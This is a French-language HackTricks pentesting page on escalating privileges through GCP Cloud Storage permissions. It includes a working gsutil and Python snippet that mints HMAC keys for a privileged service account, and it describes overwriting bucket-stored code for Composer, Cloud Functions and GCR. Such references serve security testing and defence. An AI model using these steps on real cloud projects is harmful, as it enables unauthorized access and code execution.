GCP - Storage Privesc

Support HackTricks

Storage

Informations de base :

GCP - Storage Enum

storage.objects.get

Cette permission vous permet de télécharger des fichiers stockés dans Cloud Storage. Cela vous permettra potentiellement d'escalader les privilèges car dans certaines occasions des informations sensibles y sont enregistrées. De plus, certains services GCP stockent leurs informations dans des buckets :

  • GCP Composer : Lorsque vous créez un environnement Composer, le code de tous les DAGs sera enregistré dans un bucket. Ces tâches peuvent contenir des informations intéressantes dans leur code.

  • GCR (Container Registry) : L'image des conteneurs est stockée dans des buckets, ce qui signifie que si vous pouvez lire les buckets, vous pourrez télécharger les images et rechercher des fuites et/ou du code source.

storage.objects.setIamPolicy

Vous pouvez vous donner la permission de profiter de l'un des scénarios précédents de cette section.

storage.buckets.setIamPolicy

Pour un exemple sur la façon de modifier les permissions avec cette permission, consultez cette page :

GCP - Public Buckets Privilege Escalation

storage.hmacKeys.create

La fonctionnalité "interopérabilité" de Cloud Storage, conçue pour des interactions inter-cloud comme avec AWS S3, implique la création de clés HMAC pour les comptes de service et les utilisateurs. Un attaquant peut exploiter cela en générant une clé HMAC pour un compte de service avec des privilèges élevés, permettant ainsi d'escalader les privilèges au sein de Cloud Storage. Bien que les clés HMAC associées aux utilisateurs ne soient récupérables que via la console web, les clés d'accès et secrètes restent perpétuellement accessibles, permettant un accès de sauvegarde potentiel. En revanche, les clés HMAC liées aux comptes de service sont accessibles via l'API, mais leurs clés d'accès et secrètes ne sont pas récupérables après leur création, ajoutant une couche de complexité pour un accès continu.

# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance

## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
key = requests.post(
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
).json()
#print(json.dumps(key, indent=4))
print(f'ID: {key["metadata"]["accessId"]}')
print(f'Secret: {key["secret"]}')


# Configure gsutil to use the HMAC key
gcloud config set pass_credentials_to_gsutil false
gsutil config -a

# Use it
gsutil ls gs://[BUCKET_NAME]

# Restore
gcloud config set pass_credentials_to_gsutil true

Un autre script d'exploitation pour cette méthode peut être trouvé ici.

storage.objects.create, storage.objects.delete = Permissions d'écriture dans le stockage

Pour créer un nouvel objet à l'intérieur d'un bucket, vous avez besoin de storage.objects.create et, selon la documentation, vous avez également besoin de storage.objects.delete pour modifier un objet existant.

Une exploitation très courante des buckets où vous pouvez écrire dans le cloud est le cas où le bucket sauvegarde des fichiers de serveur web, vous pourriez être en mesure de stocker un nouveau code qui sera utilisé par l'application web.

Composer

Composer est Apache Airflow géré à l'intérieur de GCP. Il a plusieurs fonctionnalités intéressantes :

  • Il fonctionne à l'intérieur d'un cluster GKE, donc le SA utilisé par le cluster est accessible par le code s'exécutant à l'intérieur de Composer

  • Il stocke le code dans un bucket, donc quiconque a un accès en écriture sur ce bucket pourra changer/ajouter un code DGA (le code qu'Apache Airflow exécutera) Ensuite, si vous avez un accès en écriture sur le bucket que Composer utilise pour stocker le code, vous pouvez privesc au SA s'exécutant dans le cluster GKE.

Cloud Functions

  • Le code des Cloud Functions est stocké dans Storage, donc en le remplaçant, il est possible d'exécuter du code arbitraire.

App Engine

  • Le code source d'App Engine est stocké dans des buckets, en remplaçant le code, il pourrait être possible d'exécuter du code arbitraire. CE N'EST PAS POSSIBLE

  • Il semble que les couches de conteneurs soient stockées dans le bucket, peut-être en changeant cela ?

GCR

  • Google Container Registry stocke les images à l'intérieur des buckets, si vous pouvez écrire dans ces buckets, vous pourriez être en mesure de vous déplacer latéralement vers l'endroit où ces buckets sont exécutés.

  • Le bucket utilisé par GCR aura une URL similaire à gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com (Les sous-domaines de niveau supérieur sont spécifiés ici).

Références

Soutenir HackTricks

Last updated